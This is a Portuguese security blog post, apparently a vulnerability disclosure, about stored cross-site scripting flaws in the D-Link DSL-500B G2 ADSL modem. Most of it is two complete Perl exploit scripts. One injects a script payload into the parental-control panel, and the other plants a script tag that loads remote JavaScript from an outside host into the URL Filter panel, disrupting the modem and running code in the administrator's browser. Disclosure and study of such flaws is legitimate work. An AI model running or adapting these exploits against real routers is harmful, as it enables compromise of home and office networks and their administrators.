Ao analisarmos a segurança do modem D-Link DSL-500B Geração 2, notamos a presença de algumas vulnerabilidades de Cross Site Scripting, ou mais conhecido como XSS Injection, todas as falhas permitem o modem armazenar códigos maliciosos, podendo originar um ataque externo à rede da vítima, neste caso a vítima mais comum seria o administrador do modem, este é um pequeno artigo que tem por objetivo a exposição do código de exploração destas falhas.
Descrição da plataforma segundo o website do fabricante
O DSL-500B G2, Modem banda larga ADSL2+ da D-Link é ideal para usuários que obtêm a sua conexão à Internet através da linha telefônica. Este roteador conecta-se diretamente à linha telefônica, sem a necessidade de um modem ADSL. Por também ser um roteador, o DSL-500B G2 conecta um grupo de usuários à Internet, permitindo que computadores em uma casa ou um escritório compartilhem uma conexão de alta velocidade ADSL 2/2+. Ele fornece conexão via Ethernet para computadores e dispositivos. Possui quatro portas Ethernet, proteção de firewall e QoS para downloads ou uploads eficientes e seguros de fotos, arquivos de música, vídeos e e-mail através da Internet.
![](https://www.xlabs.com.br/blog/wp-content/uploads/2015/04/Tela_inicial.jpg)
A falha de segurança
# Software: D-Link DSL-500B Generation 2
# Versão: BCM 1.1
# Empresa: D-Link
# Website: www.dlink.com
# Vulnerabilidade: Múltiplos Cross Site Scripting Armazenado (XSS Injection Stored)
# CVE: CVE-2015-XXXX
# Autor: Mauricio Corrêa
# POC: Video
todmngr.tod exploit (Parental Control Configuration Panel)
#!/usr/bin/perl # # Date dd-mm-aaaa: 13-02-2015 # Exploit for D-Link DSL-500B G2 # Cross Site Scripting (XSS Injection) Stored in todmngr.tod # Developed by Mauricio Corrêa # XLabs Information Security # WebSite: www.xlabs.com.br # # CAUTION! # This exploit disables some features of the modem, # forcing the administrator of the device, accessing the page to reconfigure the modem again, # occurring script execution in the browser of internal network users. # # Use with caution! # Use at your own risk! # use strict; use warnings; use diagnostics; use LWP::UserAgent; use HTTP::Request; use URI::Escape; my $ip = $ARGV[0]; my $user = $ARGV[1]; my $pass = $ARGV[2]; if (@ARGV != 3){ print "\n"; print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "Usage: perl $0 http:\/\/host_ip\/ user pass\n"; }else{ $ip = $1 if($ip=~/(.*)\/$/); print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "[+] Exploring $ip\/ ...\n"; my $payload = "%3Cscript%3Ealert%28%27XLabs%27%29%3C%2fscript%3E"; my $ua = new LWP::UserAgent; my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" ); $hdrs->authorization_basic($user, $pass); chomp($ip); print "[+] Preparing exploit...\n"; my $url_and_xpl = "$ip/todmngr.tod?action=add&username=$payload&mac=AA:BB:CC:DD:EE:FF&days=1&start_time=720&end_time=840"; my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs); print "[+] Prepared!\n"; print "[+] Requesting and Exploiting...\n"; my $resp = $ua->request($req); if ($resp->is_success){ print "[+] Successfully Requested!\n"; my $url = "$ip/todmngr.tod?action=view"; $req = new HTTP::Request("GET",$url,$hdrs); print "[+] Checking that was explored...\n"; my $resp2 = $ua->request($req); if ($resp2->is_success){ my $resultado = $resp2->as_string; if(index($resultado, uri_unescape($payload)) != -1){ print "[+] Successfully Exploited!"; }else{ print "[-] Not Exploited!"; } } }else { print "[-] Ops!\n"; print $resp->message; } }
Exploit na configuração URL Filter,
URL Filter exploit (URL Filter Configuration Panel)
#!/usr/bin/perl # # Date dd-mm-aaaa: 13-02-2015 # Exploit for D-Link DSL-500B G2 # Cross Site Scripting (XSS Injection) Stored in todmngr.tod URL Filter # Developed by Mauricio Corrêa # XLabs Information Security # WebSite: www.xlabs.com.br # # CAUTION! # This exploit disables some features of the modem, # forcing the administrator of the device, accessing the page to reconfigure the modem again, # occurring script execution in the browser of internal network users. # # Use with caution! # Use at your own risk! # use strict; use warnings; use diagnostics; use LWP::UserAgent; use HTTP::Request; use URI::Escape; my $ip = $ARGV[0]; my $user = $ARGV[1]; my $pass = $ARGV[2]; if (@ARGV != 3){ print "\n"; print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "Usage: perl $0 http:\/\/host_ip\/ user pass\n"; }else{ $ip = $1 if($ip=~/(.*)\/$/); print "XLabs Information Security www.xlabs.com.br\n"; print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n"; print "Developed by Mauricio Correa\n"; print "Contact: mauricio\@xlabs.com.br\n"; print "[+] Exploring $ip\/ ...\n"; my $payload = "%3Cscript%20src%3D%27%2f%2fxlabs.com.br%2fxssi.js%27%3E%3C%2fscript%3E"; my $ua = new LWP::UserAgent; my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" ); $hdrs->authorization_basic($user, $pass); chomp($ip); print "[+] Preparing exploit...\n"; my $url_and_xpl = "$ip/todmngr.tod?action=set_url&TodUrlAdd=GameOver$payload&port_num=1234"; my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs); print "[+] Prepared!\n"; print "[+] Requesting and Exploiting...\n"; my $resp = $ua->request($req); if ($resp->is_success){ print "[+] Successfully Requested!\n"; my $url = "$ip/todmngr.tod?action=urlview"; $req = new HTTP::Request("GET",$url,$hdrs); print "[+] Checking that was explored...\n"; my $resp2 = $ua->request($req); if ($resp2->is_success){ my $resultado = $resp2->as_string; if(index($resultado, uri_unescape($payload)) != -1){ print "[+] Successfully Exploited!"; }else{ print "[-] Not Exploited!"; } } }else { print "[-] Ops!\n"; print $resp->message; } }